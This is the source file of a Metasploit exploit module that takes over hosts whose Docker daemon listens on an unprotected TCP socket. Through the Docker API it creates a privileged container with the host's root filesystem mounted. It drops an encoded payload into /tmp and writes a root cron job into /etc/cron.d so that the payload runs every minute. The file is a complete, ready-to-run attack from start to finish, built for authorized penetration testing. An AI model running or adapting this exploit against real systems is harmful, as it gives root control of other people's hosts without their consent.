modules/exploits/linux/http/docker_daemon_tcp.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
'Description' => %q{
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
},
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
],
'DisclosureDate' => '2017-07-25',
'Targets' => [
[ 'Linux x64', {
'Arch' => ARCH_X64,
'Platform' => 'linux'
}],
[ 'Python', {
'Arch' => ARCH_PYTHON,
'Platform' => 'python',
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel'
}
}
}]
],
'Payload' => { 'Space' => 65000, 'DisableNops' => true },
'DefaultOptions' => { 'WfsDelay' => 180 },
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2375),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
]
)
end
def check_image(image_id)
vprint_status("Check if images exist on the target host")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('images', 'json'),
'ctype' => 'application/json'
)
return unless res && res.code == 200 && res.body.include?(image_id)
res
end
def pull_image(image_id)
print_status("Trying to pulling image from docker registry, this may take a while")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
'ctype' => 'application/json'
)
return unless res && res.code == 200
res
end
def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
rand_text_alpha_lower(8)
end
def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path
case target
when targets[0] # linux
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
cron_command = payload_path
when targets[1] # python
command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
cron_command = "python #{payload_path}"
end
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
command << "echo \"\" >> #{echo_cron_path} \&\& "
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
command
end
def make_container(mnt_path, cron_path, payload_path)
vprint_status('Setting container json request variables')
{
'Image' => datastore['DOCKERIMAGE'],
'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
'Entrypoint' => %w[/bin/sh -c],
'HostConfig' => {
'Binds' => [
'/:' + mnt_path
],
'Privileged' => true,
'UsernsMode' => 'host'
}
}
end
def del_container(container_id)
send_request_cgi(
{
'method' => 'DELETE',
'uri' => normalize_uri('containers', container_id),
'ctype' => 'application/json'
},
1 # timeout
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('containers', 'json'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
if res.nil?
print_error('Failed to connect to the target')
return Exploit::CheckCode::Unknown
end
if res && res.code == 200 && res.headers['Server'].include?('Docker')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
# check if target is vulnerable
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::Unknown, 'Failed to connect to the target')
end
# check if image is not available, pull it or fail out
image_id = datastore['DOCKERIMAGE']
if check_image(image_id).nil?
fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
end
# create required information to create json container information.
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id
# create container
res_create = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('containers', 'create?name=' + container_id),
'ctype' => 'application/json',
'data' => make_container(mnt_path, cron_path, payload_path).to_json
)
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
print_status("The docker container is created, waiting for deploy")
register_files_for_cleanup(cron_path, payload_path)
# start container
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'start'),
'ctype' => 'application/json'
},
1 # timeout
)
# wait until container stopped
vprint_status("Waiting until the docker container stopped")
res_wait = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'wait'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
# delete container
deleted_container = false
if res_wait && res_wait.code == 200
vprint_status("The docker container has been stopped, now trying to remove it")
del_container(container_id)
deleted_container = true
end
# if container does not deploy, remove it and fail out
unless deleted_container
del_container(container_id)
fail_with(Failure::Unknown, "The docker container failed to deploy")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end